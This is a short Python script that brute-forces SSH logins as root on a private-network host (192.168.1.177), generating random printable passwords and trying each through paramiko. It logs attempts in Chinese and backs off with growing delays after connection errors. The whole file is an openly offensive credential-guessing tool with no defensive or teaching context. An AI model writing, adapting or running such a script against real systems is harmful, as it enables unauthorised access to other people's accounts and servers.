# This Python file uses the following encoding: utf-8

import random
from time import sleep
import paramiko,socket
from datetime import datetime

host = '192.168.1.177'
port = 22
usr = 'root'

_ssh = None

minChar = 33
maxChar = 126

minLen = 6
maxLen = 10

count = 0

def testPasswd(passwd):
    pc = ''.join(passwd)
    try:
        print(u'%s %d 测试口令 >->=>> %s'%(datetime.now(),count,pc))
        _ssh = paramiko.SSHClient()
        _ssh.load_system_host_keys()
        _ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        _ssh.connect(hostname=host,port=port,username=usr,password=pc,look_for_keys=False)
        _ssh.close()
        print(u'成功！%s'%pc)
        exit(1)
    except paramiko.ssh_exception.AuthenticationException as ae:
        if _ssh and _ssh.get_transport():  
            _ssh.close()

def nextPasswd():
    global count
    count += 1
    l = random.randint(minLen,maxLen)
    passwd = []
    for pos in range(l):
        passwd.append(chr(random.randint(minChar,maxChar)))
    return passwd

passwd = nextPasswd()

while True:
    delay = 1
    while True:
        try:
            testPasswd(passwd)
            passwd = nextPasswd()
            delay = 1
            break
        except paramiko.ssh_exception.SSHException as se:
            print('SSHException')
        except socket.error as e:
            print('socket error:')
        except Exception as ec:
            print('other exception:%s'%ec )

        if _ssh and _ssh.get_transport():  
            _ssh.close()
        
        print("delay %d"%delay)
        sleep(delay*30)
        delay += 1 

